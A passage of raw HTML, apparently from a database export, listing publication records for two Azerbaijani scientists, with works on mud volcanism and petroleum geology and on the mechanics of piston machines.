colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">No 6, p.45-54</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Preliminary results of studying mud volcanism of Azerbaijan by satellite images</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Rahmanov R.R,</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A. and Azerli M.M.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of the I Eurasian Symposium on Space Sciences and Technologies, Gebze-Kocaeli,</p><p style=\"margin:0px 0px 10px;padding:0px\">Turkey</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1993</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">127-129</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">46</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Oil and gas prospects of Paleogene sediments in Lower Kura Basin (in Russian)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1993</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">71-72</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">47</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Mud volcano distributions and hydrocarbon seepages in Shamakhy-Gobustan and Lower Kura depressions (in Russian)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1992</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">44-45</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">48</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Oil and gas prospects of Productive series in Lower Kura Basin and Baku archipelago. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Edited</p><p style=\"margin:0px 0px 10px;padding:0px\">publications</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Mehdiyev Sh.F., BunyadzadeZ.A.,</p><p style=\"margin:0px 0px 10px;padding:0px\">AliyevG.M., Bashirov</p><p style=\"margin:0px 0px 10px;padding:0px\">Y.F.,</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A. and Efendiyev A. N.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of Geological Institute of Azerbaijan Academy of Sciences,</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1992</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">178p</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">49</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Facial-lithologic characterization of lower horizons of Productive Series (Lower Pliocene) sediments in Lower Kura Basin (in Russian)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1991</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">70-71</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">50</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">On structural division of Cheleken-Livanov uplift zone (Turkmenistan)</p><p style=\"margin:0px 0px 10px;padding:0px\">(in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">N.R.</p><p style=\"margin:0px 0px 10px;padding:0px\">Narimanov, A.K.Abasov and G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Oil &amp; Gas” Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1991</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">No 2, pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">11-16</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">51</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Palaeotectonic development from Pliocene to Quaternary periods in Absheron archipelago, South Caspian Basin, (in Russian)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of&nbsp; Conference Soviet Union Young scientists and students, DnepropetrovskUkraine</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1990</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">123-124</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr></tbody></table></div><br></div>'),(1245,767,'en','Valeh Bakhshaliev','Valeh Bakhshaliev','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif\"><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"color:#3a3b3b;font-size:12px;line-height:15px;text-align:justify;margin-left:-12.6pt;border-collapse:collapse;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"31\" style=\"width:23.4pt;border:1pt solid windowtext;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">#</p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><strong>Publications type/publication activities</strong></p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><strong>Publisher &amp; Place of&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 2.85pt;padding:0px\"><strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Methods of Solution of Statics tasks<strong></strong></p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Brochure</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">N.B.Kadirov, V.I.Bakhshaliev</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">AzTU, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1990</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">71p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Methods of solution of impact&nbsp;problems</p><p style=\"margin:0px;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Brochure</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Kadirov N.B., Bakhshaliev V.I. and others</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Publisher of Azerbaijan Technical University Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1994</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">40p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Handout for testing questions of Theoretical Mechanics, I part</p><p style=\"margin:0px;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Brochure</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bagirzade R.L., Bakhshaliev V.I. and others</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Publisher of Azerbaijan Technical University, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">2006</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">70p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Handout for testing questions of Theoretical Mechanics, II part</p><p style=\"margin:0px;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Brochure</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Bagirzade R.L., Bakhshaliev V.I. and others</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Publisher of Azerbaijan Technical University, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">2006</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">70p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Dynamical analysis of Piston Machines<strong></strong></p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Monograph</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">V.I.Bakhshaliev</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">“Elm” Publisher, Baku<strong></strong></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">2001</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">270p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Solution of problems of Theoretical Mechanics<strong></strong></p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Textbook</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">V.I.Bakhshaliev</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">“Nurlan” Publisher<strong></strong></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">2009</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">222p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Mechanics of Piston Machines</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Monograph</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">V.I.Bakhshaliev</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Lambert Academic Publishing, Germany</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">2011</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">320p.</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">The problem of determination of the work of friction forces between piston rod and hermetic rings of a piston compressor machine</p><p style=\"margin:0px;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Journal of “Oil and Gas”</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1985</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№ 6, p.80-85</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">The problems of influence of construction parameters of a crank-piston mechanism to the mechanical loss in piston machine</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Conference Proceedings</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Kadirov N.B., Bakhshaliev V.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Transactions of the International Conference “Wear and Friction in machines and methods of its elimination”, Moscow</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1985</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">p.138-139&nbsp;</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">Definition of the forces acting on a crank-piston mechanism of a piston compressor machine</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Kadirov N.B.,Bakhshaliev V.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Transactions of Azerbaijan Technical University, Baku</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\"><span style=\"color:#000000\">1986</span></p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">p<span style=\"color:#000000\">.28-35</span></p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">Definition of the friction force moment in friction bearing on the basis of hydrodynamic lubrication theory</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">Journal of “Oil and gas”</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">1986</p></td><td width=\"60\" style=\"width:45pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">№ 12, p.92-95</p></td></tr><tr><td width=\"31\" style=\"width:23.4pt;border-right-width:1pt;border-right-style:solid;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px 0px 0px 63pt;padding:0px;text-indent:-60.15pt\">11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\" style=\"width:125.1pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:6pt 0in;padding:0px\">The problem of influence of Constructional&nbsp;and operational parameters to the mechanical loss in a piston compressor machine</p><p style=\"margin:6pt 0in;padding:0px\">&nbsp;</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px;text-align:center\">Journal article</p></td><td width=\"84\" style=\"width:63pt;padding:0in 5.4pt;vertical-align:top\"><p style=\"margin:0px;padding:0px\">KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\" style=\"width:76.5pt;padding:0in 